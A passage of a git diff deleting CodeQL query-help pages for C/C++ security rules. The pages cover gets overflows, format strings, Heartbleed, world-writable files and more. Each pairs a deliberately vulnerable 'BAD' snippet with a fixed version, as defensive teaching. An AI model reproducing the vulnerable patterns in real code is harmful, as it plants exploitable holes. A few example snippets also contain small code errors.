sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); - sqlite3_step(stmt); - sqlite3_finalize(stmt); - sqlite3_close(credentialsDB); - } - } -} - -void good(void) { - char *password = "cleartext password"; - sqlite3 *credentialsDB; - sqlite3_stmt *stmt; - - if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { - // GOOD: database encryption enabled: - sqlite3_exec(credentialsDB, "PRAGMA key = 'secretKey!'", NULL, NULL, NULL); - sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); - if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { - sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); - sqlite3_step(stmt); - sqlite3_finalize(stmt); - sqlite3_close(credentialsDB); - } - } -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ComparisonWithWiderType.md b/docs/language/query-help/cpp/ComparisonWithWiderType.md deleted file mode 100644 index d2bbac37387..00000000000 --- a/docs/language/query-help/cpp/ComparisonWithWiderType.md +++ /dev/null @@ -1,63 +0,0 @@ -# Comparison of narrow type with wide type in loop condition - -``` -ID: cpp/comparison-with-wider-type -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) - -In a loop condition, comparison of a value of a narrow type with a value of a wide type may result in unexpected behavior if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. - - -## Recommendation -Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. - - -## Example -In this example, `bytes_received` is compared against `max_get` in a `while` loop. However, `bytes_received` is an `int16_t`, and `max_get` is an `int32_t`. Because `max_get` is larger than `INT16_MAX`, the loop condition is always `true`, so the loop never terminates. - -This problem is avoided in the 'GOOD' case because `bytes_received2` is an `int32_t`, which is as wide as the type of `max_get`. - - -```c -void main(int argc, char **argv) { - uint32_t big_num = INT32_MAX; - char buf[big_num]; - int16_t bytes_received = 0; - int max_get = INT16_MAX + 1; - - // BAD: 'bytes_received' is compared with a value of a wider type. - // 'bytes_received' overflows before reaching 'max_get', - // causing an infinite loop - while (bytes_received < max_get) - bytes_received += get_from_input(buf, bytes_received); - } - - uint32_t bytes_received = 0; - - // GOOD: 'bytes_received2' has a type at least as wide as 'max_get' - while (bytes_received < max_get) { - bytes_received += get_from_input(buf, bytes_received); - } - -} - - -int getFromInput(char *buf, short pos) { - // write to buf - // ... - return 1; -} - -``` - -## References -* [Data type ranges](https://docs.microsoft.com/en-us/cpp/cpp/data-type-ranges) -* [INT18-C. Evaluate integer expressions in a larger size before comparing or assigning to that size ](https://wiki.sei.cmu.edu/confluence/display/c/INT18-C.+Evaluate+integer+expressions+in+a+larger+size+before+comparing+or+assigning+to+that+size) -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousFunctionOverflow.md b/docs/language/query-help/cpp/DangerousFunctionOverflow.md deleted file mode 100644 index bc4ef69a78d..00000000000 --- a/docs/language/query-help/cpp/DangerousFunctionOverflow.md +++ /dev/null @@ -1,56 +0,0 @@ -# Use of dangerous function - -``` -ID: cpp/dangerous-function-overflow -Kind: problem -Severity: error -Precision: very-high -Tags: reliability security external/cwe/cwe-242 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousFunctionOverflow.ql) - -This rule finds calls to the `gets` function, which is dangerous and should not be used. See **Related rules** below for rules that identify other dangerous functions. - -The `gets` function is one of the vulnerabilities exploited by the Internet Worm of 1988, one of the first computer worms to spread through the Internet. The `gets` function provides no way to limit the amount of data that is read and stored, so without prior knowledge of the input it is impossible to use it safely with any size of buffer. - - -## Recommendation -Replace calls to `gets` with `fgets`, specifying the maximum length to copy. This will prevent the buffer overflow. - - -## Example -The following example gets a string from standard input in two ways: - - -```c -#define BUFFERSIZE (1024) - -// BAD: using gets -void echo_bad() { - char buffer[BUFFERSIZE]; - gets(buffer); - printf("Input was: '%s'\n", buffer); -} - -// GOOD: using fgets -void echo_good() { - char buffer[BUFFERSIZE]; - fgets(buffer, BUFFERSIZE, stdin); - printf("Input was: '%s'\n", buffer); -} - -``` -The first version uses `gets` and will overflow if the input is longer than the buffer. The second version of the code uses `fgets` and will not overflow, because the amount of data written is limited by the length parameter. - - -## Related rules -Other dangerous functions identified by CWE-676 ("Use of Potentially Dangerous Function") include `strcpy` and `strcat`. Use of these functions is highlighted by rules for the following CWEs: - -* [CWE-120 Classic Buffer Overflow](https://cwe.mitre.org/data/definitions/120.html). -* [CWE-131 Incorrect Calculation of Buffer Size](https://cwe.mitre.org/data/definitions/131.html). - -## References -* Wikipedia: [Morris worm](http://en.wikipedia.org/wiki/Morris_worm). -* E. Spafford. *The Internet Worm Program: An Analysis*. Purdue Technical Report CSD-TR-823, [(online)](http://www.textfiles.com/100/tr823.txt), 1988. -* Common Weakness Enumeration: [CWE-242](https://cwe.mitre.org/data/definitions/242.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousUseOfCin.md b/docs/language/query-help/cpp/DangerousUseOfCin.md deleted file mode 100644 index 2072b043618..00000000000 --- a/docs/language/query-help/cpp/DangerousUseOfCin.md +++ /dev/null @@ -1,47 +0,0 @@ -# Dangerous use of 'cin' - -``` -ID: cpp/dangerous-cin -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousUseOfCin.ql) - -This rule finds calls to `std::istream::operator>>` on `std::cin` without a preceding call to `cin.width`. Consuming input from `cin` without specifying the length of the input is dangerous due to the possibility of buffer overflows. - - -## Recommendation -Always specify the length of any input expected from `cin` by calling `cin.width` before consuming the input. - - -## Example -The following example shows both a dangerous and a safe way to consume input from `cin`. - - -```cpp -#define BUFFER_SIZE 20 - -void bad() -{ - char buffer[BUFFER_SIZE]; - // BAD: Use of 'cin' without specifying the length of the input. - cin >> buffer; - buffer[BUFFER_SIZE-1] = '\0'; -} - -void good() -{ - char buffer[BUFFER_SIZE]; - // GOOD: Specifying the length of the input before using 'cin'. - cin.width(BUFFER_SIZE); - cin >> buffer; - buffer[BUFFER_SIZE-1] = '\0'; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md deleted file mode 100644 index 61a9dda8a76..00000000000 --- a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md +++ /dev/null @@ -1,45 +0,0 @@ -# File created without restricting permissions - -``` -ID: cpp/world-writable-file-creation -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-732 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/DoNotCreateWorldWritable.ql) - -When you create a file, take care to give it the most restrictive permissions possible. A typical mistake is to create the file with world-writable permissions. This can allow an attacker to write to the file, which can give them unexpected control over the program. - - -## Recommendation -Files should usually be created with write permissions only for the current user. If broader permissions are needed, including the users' group should be sufficient. It is very rare that a file needs to be world-writable, and care should be taken not to make assumptions about the contents of any such file. - -On Unix systems, it is possible for the user who runs the program to restrict file creation permissions using `umask`. However, a program should not assume that the user will set an `umask`, and should still set restrictive permissions by default. - - -## Example -This example shows two ways of writing a default configuration file. Software often does this to provide the user with a convenient starting point for defining their own configuration. However, configuration files can also control important aspects of the software's behavior, so it is important that they cannot be controlled by an attacker. - -The first example creates the default configuration file with the usual "default" Unix permissions, `0666`. This makes the file world-writable, so that an attacker could write in their own configuration that would be read by the program. The second example uses more restrictive permissions: a combination of the standard Unix constants `S_IWUSR` and `S_IRUSR` which means that only the current user will have read and write access to the file. - - -```c -int write_default_config_bad() { - // BAD - this is world-writable so any user can overwrite the config - FILE* out = creat(OUTFILE, 0666); - fprintf(out, DEFAULT_CONFIG); -} - -int write_default_config_good() { - // GOOD - this allows only the current user to modify the file - FILE* out = creat(OUTFILE, S_IWUSR | S_IRUSR); - fprintf(out, DEFAULT_CONFIG); -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for C: [ FIO06-C. Create files with appropriate access permissions ](https://www.securecoding.cert.org/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/HResultBooleanConversion.md b/docs/language/query-help/cpp/HResultBooleanConversion.md deleted file mode 100644 index 0311e8c54bf..00000000000 --- a/docs/language/query-help/cpp/HResultBooleanConversion.md +++ /dev/null @@ -1,42 +0,0 @@ -# Cast between HRESULT and a Boolean type - -``` -ID: cpp/hresult-boolean-conversion -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-253/HResultBooleanConversion.ql) - -This query indicates that an `HRESULT` is being cast to a Boolean type or vice versa. - -The typical success value (`S_OK`) of an `HRESULT` equals 0. However, 0 indicates failure for a Boolean type. - -Casting an `HRESULT` to a Boolean type and then using it in a test expression will yield an incorrect result. - - -## Recommendation -To check if a call that returns an `HRESULT` succeeded use the `FAILED` macro. - - -## Example -In the following example, `HRESULT` is used in a test expression incorrectly as it may yield an incorrect result. - - -```cpp -LPMALLOC pMalloc; -HRESULT hr = CoGetMalloc(1, &pMalloc); - -if (!hr) -{ - // code ... -} - -``` -To fix this issue, use the `FAILED` macro in the test expression. - - -## References -* Common Weakness Enumeration: [CWE-253](https://cwe.mitre.org/data/definitions/253.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md deleted file mode 100644 index 1802ac2c4b3..00000000000 --- a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md +++ /dev/null @@ -1,55 +0,0 @@ -# Incorrect 'not' operator usage - -``` -ID: cpp/incorrect-not-operator-usage -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-480 external/microsoft/c6317 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Likely%20Typos/IncorrectNotOperatorUsage.ql) - -This rule finds logical-not operator usage as an operator for in a bit-wise operation. - -Due to the nature of logical operation result value, only the lowest bit could possibly be set, and it is unlikely to be intent in bitwise opeartions. Violations are often indicative of a typo, using a logical-not (`!`) opeartor instead of the bit-wise not (`~`) operator. - -This rule is restricted to analyze bit-wise and (`&`) and bit-wise or (`|`) operation in order to provide better precision. - -This rule ignores instances where a double negation (`!!`) is explicitly used as the opeartor of the bitwise operation, as this is a commonly used as a mechanism to normalize an integer value to either 1 or 0. - -NOTE: It is not recommended to use this rule in kernel code or older C code as it will likely find several false positive instances. - - -## Recommendation -Carefully inspect the flagged expressions. Consider the intent in the code logic, and decide whether it is necessary to change the not operator. - - -## Example - -```cpp -#define FLAGS 0x4004 - -void f_warning(int i) -{ - // The usage of the logical not operator in this case is unlikely to be correct - // as the output is being used as an operator for a bit-wise and operation - if (i & !FLAGS) - { - // code - } -} - - -void f_fixed(int i) -{ - if (i & ~FLAGS) // Changing the logical not operator for the bit-wise not operator would fix this logic - { - // code - } -} -``` - -## References -* [warning C6317: incorrect operator: logical-not (!) is not interchangeable with ones-complement (~)](https://docs.microsoft.com/en-us/visualstudio/code-quality/c6317?view=vs-2017) -* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScaling.md b/docs/language/query-help/cpp/IncorrectPointerScaling.md deleted file mode 100644 index ef57fe13bdc..00000000000 --- a/docs/language/query-help/cpp/IncorrectPointerScaling.md +++ /dev/null @@ -1,43 +0,0 @@ -# Suspicious pointer scaling - -``` -ID: cpp/suspicious-pointer-scaling -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScaling.ql) - -Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. This can cause a buffer overflow condition if the programmer forgets that they are adding a multiple of `sizeof(T)`, rather than a number of bytes. - -This query finds pointer arithmetic expressions where it appears likely that the programmer has forgotten that the offset is automatically scaled. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `int*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. - -## Example - -```cpp -int example1(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // BAD: the offset is already automatically scaled by sizeof(int), - // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int))); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md deleted file mode 100644 index 3f6b440c21c..00000000000 --- a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md +++ /dev/null @@ -1,44 +0,0 @@ -# Suspicious pointer scaling to void - -``` -ID: cpp/suspicious-pointer-scaling-void -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql) - -Casting arbitrary pointers into `void*` and then accessing their contents should be done with care. The results may not be portable. - -This query finds pointer arithmetic expressions where a pointer to `void` (or similar) is then cast to another type and dereferenced. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `void*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. -1. If pointer arithmetic must be done with a single-byte width, prefer `char *` to `void *`, as pointer arithmetic on `void *` is a nonstandard GNU extension. - -## Example - -```cpp -char example1(int i) { - int intArray[5] = { 1, 2, 3, 4, 5 }; - void *voidPointer = (void *)intArray; - // BAD: the pointer arithmetic uses type void*, so the offset - // is not scaled by sizeof(int). - return *(voidPointer + i); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IntMultToLong.md b/docs/language/query-help/cpp/IntMultToLong.md deleted file mode 100644 index de6b5fa3ea0..00000000000 --- a/docs/language/query-help/cpp/IntMultToLong.md +++ /dev/null @@ -1,40 +0,0 @@ -# Multiplication result converted to larger type - -``` -ID: cpp/integer-multiplication-cast-to-long -Kind: problem -Severity: warning -Precision: high -Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) - -This rule finds code that converts the result of an integer multiplication to a larger type. Since the conversion applies *after* the multiplication, arithmetic overflow may still occur. - -The rule flags every multiplication of two non-constant integer expressions that is (explicitly or implicitly) converted to a larger integer type. The conversion is an indication that the expression would produce a result that would be too large to fit in the smaller integer type. - - -## Recommendation -Use a cast to ensure that the multiplication is done using the larger integer type to avoid overflow. - - -## Example - -```cpp -int i = 2000000000; -long j = i * i; //Wrong: due to overflow on the multiplication between ints, - //will result to j being -1651507200, not 4000000000000000000 - -long k = (long) i * i; //Correct: the multiplication is done on longs instead of ints, - //and will not overflow - -``` - -## References -* MSDN Library: [Multiplicative Operators: *, /, and %](http://msdn.microsoft.com/en-us/library/ty2ax9z9%28v=vs.71%29.aspx). -* Cplusplus.com: [Integer overflow](http://www.cplusplus.com/articles/DE18T05o/). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NewFreeMismatch.md b/docs/language/query-help/cpp/NewFreeMismatch.md deleted file mode 100644 index 6964bde364a..00000000000 --- a/docs/language/query-help/cpp/NewFreeMismatch.md +++ /dev/null @@ -1,34 +0,0 @@ -# Mismatching new/free or malloc/delete - -``` -ID: cpp/new-free-mismatch -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-401 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/NewFreeMismatch.ql) - -This rule finds `delete` expressions whose argument is a pointer that points to memory allocated using the `malloc` function, and calls to `free` whose argument is a pointer that points to memory allocated using the `new` operator. Behavior in such cases is undefined and should be avoided. - - -## Recommendation -Use the `delete` operator when freeing memory allocated with `new`, and the `free` function when freeing memory allocated with `malloc`. - - -## Example - -```cpp -Record *ptr = new Record(...); - -... - -free(ptr); // BAD: ptr was created using 'new', but is being freed using 'free' - -``` - -## References -* isocpp.org 'Standard C++', "[Can I free() pointers allocated with new? Can I delete pointers allocated with malloc()?](https://isocpp.org/wiki/faq/freestore-mgmt#mixing-malloc-and-delete)" -* Wikipedia, "[Relation to malloc and free](https://en.wikipedia.org/wiki/New_and_delete_(C%2B%2B)#Relation_to_malloc_and_free)" in *new and delete (C++)*. -* Common Weakness Enumeration: [CWE-401](https://cwe.mitre.org/data/definitions/401.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md deleted file mode 100644 index dc48d278fb3..00000000000 --- a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md +++ /dev/null @@ -1,43 +0,0 @@ -# No space for zero terminator - -``` -ID: cpp/no-space-for-terminator -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql) - -This rule identifies calls to `malloc` that call `strlen` to determine the required buffer size, but do not allocate space for the zero terminator. - - -## Recommendation -The expression highlighted by this rule creates a buffer that is of insufficient size to contain the data being copied. This makes the code vulnerable to buffer overflow which can result in anything from a segmentation fault to a security vulnerability (particularly if the array is on stack-allocated memory). - -Increase the size of the buffer being allocated by one or replace `malloc`, `strcpy` pairs with a call to `strdup` - - -## Example - -```c - -void flawed_strdup(const char *input) -{ - char *copy; - - /* Fail to allocate space for terminating '\0' */ - copy = (char *)malloc(strlen(input)); - strcpy(copy, input); - return copy; -} - - -``` - -## References -* CERT C Coding Standard: [MEM35-C. Allocate sufficient memory for an object](https://www.securecoding.cert.org/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object). -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NonConstantFormat.md b/docs/language/query-help/cpp/NonConstantFormat.md deleted file mode 100644 index 7a93184a406..00000000000 --- a/docs/language/query-help/cpp/NonConstantFormat.md +++ /dev/null @@ -1,109 +0,0 @@ -# Non-constant format string - -``` -ID: cpp/non-constant-format -Kind: problem -Severity: recommendation -Precision: high -Tags: maintainability correctness security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/NonConstantFormat.ql) - -The `printf` function, related functions like `sprintf` and `fprintf`, and other functions built atop `vprintf` all accept a format string as one of their arguments. When such format strings are literal constants, it is easy for the programmer (and static analysis tools) to verify that the format specifiers (such as `%s` and `%02x`) in the format string are compatible with the trailing arguments of the function call. When such format strings are not literal constants, it is more difficult to maintain the program: programmers (and static analysis tools) must perform non-local data-flow analysis to deduce what values the format string argument might take. - - -## Recommendation -If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. - -If the argument passed as a format string is a parameter to the enclosing function, then consider redesigning the enclosing function's API to be less brittle. - - -## Example -The following program is meant to echo its command line arguments: - - -```c -#include -int main(int argc, char** argv) { - for(int i = 1; i < argc; ++i) { - printf(argv[i]); - } -} -``` -The above program behaves as expected in most cases, but breaks when one of its command line arguments contains a percent character. In such cases, the behavior of the program is undefined: it might echo garbage, it might crash, or it might give a malicious attacker root access. One way of addressing the problem is to use a constant `%s` format string, as in the following program: - - -```c -#include -int main(int argc, char** argv) { - for(int i = 1; i < argc; ++i) { - printf("%s", argv[i]); - } -} -``` - -## Example -The following program defines a `log_with_timestamp` function: - - -```c -void log_with_timestamp(const char* message) { - struct tm now; - time(&now); - printf("[%s] ", asctime(now)); - printf(message); -} - -int main(int argc, char** argv) { - log_with_timestamp("Application is starting...\n"); - /* ... */ - log_with_timestamp("Application is closing...\n"); - return 0; -} -``` -In the code that is visible, the reader can verify that `log_with_timestamp` is never called with a log message containing a percent character, but even if all current calls are correct, this presents an ongoing maintenance burden to ensure that newly-introduced calls don't contain percent characters. As in the previous example, one solution is to make the log message a trailing argument of the function call: - - -```c -void log_with_timestamp(const char* message) { - struct tm now; - time(&now); - printf("[%s] %s", asctime(now), message); -} - -int main(int argc, char** argv) { - log_with_timestamp("Application is starting...\n"); - /* ... */ - log_with_timestamp("Application is closing...\n"); - return 0; -} -``` -An alternative solution is to allow `log_with_timestamp` to accept format arguments: - - -```c -void log_with_timestamp(const char* message, ...) { - va_list args; - va_start(args, message); - struct tm now; - time(&now); - printf("[%s] ", asctime(now)); - vprintf(message, args); - va_end(args); -} - -int main(int argc, char** argv) { - log_with_timestamp("%s is starting...\n", argv[0]); - /* ... */ - log_with_timestamp("%s is closing...\n", argv[0]); - return 0; -} -``` -In this formulation, the non-constant format string to `printf` has been replaced with a non-constant format string to `vprintf`. Semmle will no longer consider the body of `log_with_timestamp` to be a problem, and will instead check that every call to `log_with_timestamp` passes a constant format string. - - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* M. Howard, D. Leblanc, J. Viega, *19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*. -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md deleted file mode 100644 index ed2c18c56e2..00000000000 --- a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md +++ /dev/null @@ -1,58 +0,0 @@ -# Array offset used before range check - -``` -ID: cpp/offset-use-before-range-check -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-125 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Best%20Practices/Likely%20Errors/OffsetUseBeforeRangeCheck.ql) - -The program contains an and-expression where the array access is defined before the range check. Consequently the array is accessed without any bounds checking. The range check does not protect the program from segmentation faults caused by attempts to read beyond the end of a buffer. - - -## Recommendation -Update the and-expression so that the range check precedes the array offset. This will ensure that the bounds are checked before the array is accessed. - - -## Example -The `find` function can read past the end of the buffer pointed to by `str` if `start` is longer than or equal to the length of the buffer (or longer than `len`, depending on the contents of the buffer). - - -```c -int find(int start, char *str, char goal) -{ - int len = strlen(str); - //Potential buffer overflow - for (int i = start; str[i] != 0 && i < len; i++) { - if (str[i] == goal) - return i; - } - return -1; -} - -int findRangeCheck(int start, char *str, char goal) -{ - int len = strlen(str); - //Range check protects against buffer overflow - for (int i = start; i < len && str[i] != 0 ; i++) { - if (str[i] == goal) - return i; - } - return -1; -} - - - - -``` -Update the and-expression so that the range check precedes the array offset (for example, the `findRangeCheck` function). - - -## References -* cplusplus.com: [ C++: array](http://www.cplusplus.com/reference/array/array/). -* Wikipedia: [ Bounds checking](http://en.wikipedia.org/wiki/Bounds_checking). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-125](https://cwe.mitre.org/data/definitions/125.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OpenSslHeartbleed.md b/docs/language/query-help/cpp/OpenSslHeartbleed.md deleted file mode 100644 index 41917e2e3e3..00000000000 --- a/docs/language/query-help/cpp/OpenSslHeartbleed.md +++ /dev/null @@ -1,60 +0,0 @@ -# Use of a version of OpenSSL with Heartbleed - -``` -ID: cpp/openssl-heartbleed -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe/cwe-327 external/cwe/cwe-788 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/OpenSslHeartbleed.ql) - -Earlier versions of the popular OpenSSL library suffer from a buffer overflow in its "heartbeat" code. Because of the location of the problematic code, this vulnerability is often called "Heartbleed". - -Software that includes a copy of OpenSSL should be sure to use a current version of the library. If it uses an older version, it will be vulnerable to any network site it connects with. - - -## Recommendation -Upgrade to the latest version of OpenSSL. This problem was fixed in version 1.0.1g. - - -## Example -The following code is present in earlier versions of OpenSSL. The `payload` variable is the number of bytes that should be copied from the request back into the response. The call to `memcpy` does this copy. The problem is that `payload` is supplied as part of the remote request, and there is no code that checks the size of it. If the caller supplies a very large value, then the `memcpy` call will copy memory that is outside the request packet. - - -```c -int -tls1_process_heartbeat(SSL *s) - { - unsigned char *p = &s->s3->rrec.data[0], *pl; - unsigned short hbtype; - unsigned int payload; - - /* ... */ - - hbtype = *p++; - n2s(p, payload); - pl = p; - - /* ... */ - - if (hbtype == TLS1_HB_REQUEST) - { - /* ... */ - memcpy(bp, pl, payload); // BAD: overflow here - /* ... */ - } - - - /* ... */ - - } - -``` - -## References -* Common Vulnerabilities and Exposures: [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160). -* OpenSSL News: [OpenSSL Security Advisory [07 Apr 2014]](https://www.openssl.org/news/secadv_20140407.txt). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). -* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverflowStatic.md b/docs/language/query-help/cpp/OverflowStatic.md deleted file mode 100644 index 23672b0a0d0..00000000000 --- a/docs/language/query-help/cpp/OverflowStatic.md +++ /dev/null @@ -1,41 +0,0 @@ -# Static array access may cause overflow - -``` -ID: cpp/static-buffer-overflow -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-119 external/cwe/cwe-131 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/OverflowStatic.ql) - -When you use static arrays you must ensure that you do not exceed the size of the array during write and access operations. If an operation attempts to write to or access an element that is outside the range of the array then this results in a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the offsets and sizes used in the highlighted operations to ensure that a buffer overflow will not occur. - - -## Example - -```cpp -#define SIZE 30 - -int f(char * s) { - char buf[20]; //buf not set to use SIZE macro - - strncpy(buf, s, SIZE); //wrong: copy may exceed size of buf - - for (int i = 0; i < SIZE; i++) { //wrong: upper limit that is higher than array size - cout << array[i]; - } -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 